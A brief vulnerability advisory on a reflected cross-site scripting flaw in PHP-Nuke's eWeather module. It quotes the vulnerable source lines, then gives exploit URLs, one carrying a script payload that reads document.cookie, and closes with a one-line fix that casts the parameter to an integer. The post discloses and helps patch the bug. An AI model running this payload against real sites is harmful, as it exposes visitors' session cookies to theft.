XSS in PHP-Nuke (eWeather module)

//////////XSS in PHP-Nuke (eWeather module)

PHP-Nuke (http://phpnuke.org):

    PHP-Nuke is a news automated system specially designed to be used in

Intranets and Internet. The Administrator has total control of his web site,
registered users, and he will have in the hand a powerful assembly of tools
to maintain an active and 100% interactive web site using databases.

eWeather module (http://www.janitorialservice.us):

    Weather module based on eWeather.biz data with 3 additional blocks 

2 side and one center block.

///Details

From source-code of /modules/eWeather/index.php

Line 35: $zipCode=$chart;

Line 47: echo "<div align =\"center\"><h2>USA weather for zip code $zipCode</h2>";

"chart" variable is unvalidated.

///Exploit
http://example.net/modules.php?name=eWeather&amp;chart=[XSS]
http://example.net/modules.php?name=eWeather&amp;chart=&#37;3Cscript&#37;3Ealert&#40;document.cookie&#41;&#37;3C/script&#37;3E

///Fix
Change line 35 to "$zipCode=(int)$chart;"

///Author:
NetJackal

http://netjackal.by.ru
http://hackerz.ir